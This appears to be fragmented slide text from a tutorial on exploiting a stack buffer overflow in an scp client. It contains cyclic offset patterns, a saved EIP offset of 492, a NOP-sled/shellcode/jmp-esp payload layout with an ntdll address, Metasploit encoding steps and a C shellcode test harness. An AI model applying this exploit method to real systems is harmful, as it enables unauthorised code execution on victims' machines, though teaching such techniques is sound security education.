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$ scp <remotefile> <localfile> 

$ scp <Ax500> whatever.txt 









Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab 

Trigger: 







Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab 

Trigger: 

Analyze: 

Aa0Aa1Aa2A 4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4 a3Aa 

Stored EIP @ location 492 



Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab 

Trigger: 

Verification 

Analyze: 

AAAAAAAAAA CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC BBBB 

Aa0Aa1Aa2A 4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4 a3Aa 

payload[492] 

sEIP 





Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab 

Trigger: 

Verification 

Analyze: 

AAAAAAAAAA CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC BBBB 

Aa0Aa1Aa2A 4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4 a3Aa 

sEIP 





Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab 

Trigger: 

Verification 

Analyze: 

AAAAAAAAAA CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC BBBB 

Aa0Aa1Aa2A 4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4 a3Aa 

ESP 

sEIP 
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msfpayload: 





msfencode: 







#include <stdio.h> 
 
char code[] = "\xbb\xa0\xc9\xa5 ... "; 
 
int main(int argc, char **argv) 
{ 
 char x[500]; 
 
 int (*func)(); 
 func = (int (*)()) code; 
 (int)(*func)(); 
} 

GCC@WIN: 

www.mingw.org 
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Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab 

Trigger: 

Verification: 

Analyze: 

AAAAAAAAAA CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC BBBB 

Aa0Aa1Aa2A 4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4 a3Aa 

AAAAAAAAAA <nopnopnop shellcode shellcode> &JMP 

Exploit: 
ESP 

sEIP 



AAAAAAAAAA <nopnopnop shellcode shellcode> &JMP 

Code 

Stack 

… 
jmp %esp 
… 

[Filename] 
&caller 
[Stuff…] 
[Stuff…] 
[Stuff…] 
[Stuff…] 
 

EIP (copy filename) 

Stored EIP (caller) 



AAAAAAAAAA <nopnopnop shellcode shellcode> &JMP 

… 
jmp %esp 
… 

AAAAAAAAAAA 
&JMP 
<nopnopnop> 
<nopnopnop> 
<shellcode> 
<shellcode> 

ESP 

EIP (copy filename) 

Stored EIP (caller) 



AAAAAAAAAA <nopnopnop shellcode shellcode> &JMP 

… 
jmp %esp 
… 

AAAAAAAAAAA 
&JMP 
<nopnopnop> 
<nopnopnop> 
<shellcode> 
<shellcode> 

ESP 

EIP 



AAAAAAAAAA <nopnopnop shellcode shellcode> &JMP 

… 
jmp %esp 
… 

AAAAAAAAAAA 
&JMP 
<nopnopnop> 
<nopnopnop> 
<shellcode> 
<shellcode> 

ESP, EIP 



AAAAAAAAAA <nopnopnop shellcode shellcode> &JMP 

… 
jmp %esp 
… 

AAAAAAAAAAA 
&JMP 
<nopnopnop> 
<nopnopnop> 
<shellcode> 
<shellcode> 

ESP 

EIP 



Stored EIP 

Shellcode 

Filler 



Stored EIP 

Shellcode 

Filler 



&(jmp %esp @ ntdll): 0x7c91fcd8 
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